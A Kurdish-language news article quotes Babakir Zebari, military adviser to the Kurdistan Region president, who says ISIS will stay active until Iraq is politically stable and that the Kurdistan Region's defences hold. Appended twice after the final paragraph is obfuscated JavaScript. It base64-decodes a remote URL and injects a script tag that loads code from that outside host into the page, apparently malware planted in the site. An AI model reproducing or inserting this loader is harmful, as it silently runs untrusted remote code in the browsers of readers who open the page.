بابەكر زێباری: هەتا ئیراق ژ روویێ سیاسی ڤە سەقامگیر نەبیت داعش دێ یا چالاك بیت

شیرەتكارێ سەربازیێ سەرۆكێ هەرێما كوردستانێ راگەهاند: داعش هەتا نوكە ل ئیراقێ یا چالاكە و بەردەوام كریارێن تیرۆرستی ئەنجام ددەت. هەروەسا دبێژیت: هۆكارێ سەرەكیێ ئەوان كریاران ژی بۆ نەبوونا سەقامگیرییا سیاسی دزڤریت، چونكە هەتا ئیراق ژ روویێ سیاسی ڤە سەقامگیر نەبیت، داعش دێ یا چالاك بیت و مەترسییە.
بابەكر زێباری، شیرەتكارێ سەربازیێ سرۆكێ هەرێما كوردستانێ گۆت » هۆكارێ زێدەبوونا كریارێن تیرۆرستیێن داعشێ ل ئیراقێ ب گشتی و ل دەڤەرێن كوردستانی ب تایبەتی، دزڤریت بۆ ئەوێ چەندێ كو داعش هێشتا یا چالاكە و ئەگەر ژی زێدەتر دزڤریت بۆ ناكۆكییا د ناڤبەرا سوننە و شیعان دا هەی، هەروەسا رەوشا سیاسی ل ئیراقێ یا سەقامگیر نینە و هەتا ب ئەوی شێوەی بیت داعش دێ هەر یا چالاك بیت، چونكە داعش یا مای و ب دووماهی نەهاتییە، ژ بەر كو پشتەڤانی ل داعشێ دهێتە كرن و هاریكارییا وێ دهێتە كرن، لەوما هەر دەمەكێ دەلیڤە بۆ پەیدا ببیت، كریارێن تیرۆرستی ئەنجام ددەت».
بابەكر زێباری رۆهنكر ژی» ئەوا گرنگ هەرێما كوردستانێ هێلەكا بەگریا ب هێز یا دروستكری و داعشێ شیان نینن وێ هێلێ دەرباز بكەت، هەكە ئەوێ چەندێ ژی بكەت، خەلكێ هەرێما كوردستانێ رێكێ نادەت كارەكێ ب وی شێوەی بكەت، لەوما داعشی هیچ مەترسییەك نینە ل سەر هەرێما كوردستانێ و زێدەتر مەترسییە ل سەر ئیراقێ، ژ بەر كو سەرۆكێ هەرێما كوردستانێ پێشتر هەموو پێدڤی بۆ سەنگەرێن پێشمەرگەی یێن دابین كرین».
شیرەتكارێ سەربازیێ سەرۆكێ هەرێما كوردستانێ باس ل ئەوێ چەندێ ژی كر» بۆ ئەوێ چەندێ چارەسەرییا دووماهیێ بۆ ئەوێ كێشەیێ بهێتە كرن و داعش نەمینیت، پێدڤییە رەوشا سیاسییا ئیراقێ ئارام بیت و ئەو ڤالاهییا هەی بهێتە پڕكرن، ئەوژی پێنگاڤەكا باشە و نوە دەت ب بەلاڤكرنا دو لیوایێن هەڤپشك یێن لەشكرێ ئیراقێ و پێشمەرگەی ل دەڤەرێن كوردستانی هاتییە كرن، كو ب گۆڕەی پێدڤییا دەڤەران، هێز دهێنە بەلاڤكرن و ئەو ڤالاهیێن هەین ب ئەوان دو لیوایان دێ هێنە پڕكرن».
گۆت ژی» هێزێن هەڤپەیمانان د هاریكارن و ل هەر جهەكێ مەترسییەكا مەزن هەبیت، ئەو هاریكاریێ دكەن، لەوما هێزێن هەڤپەیمانان هەردەم هاریكارن بۆ بەرهنگارییا تیرۆرستێن داعشێ».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە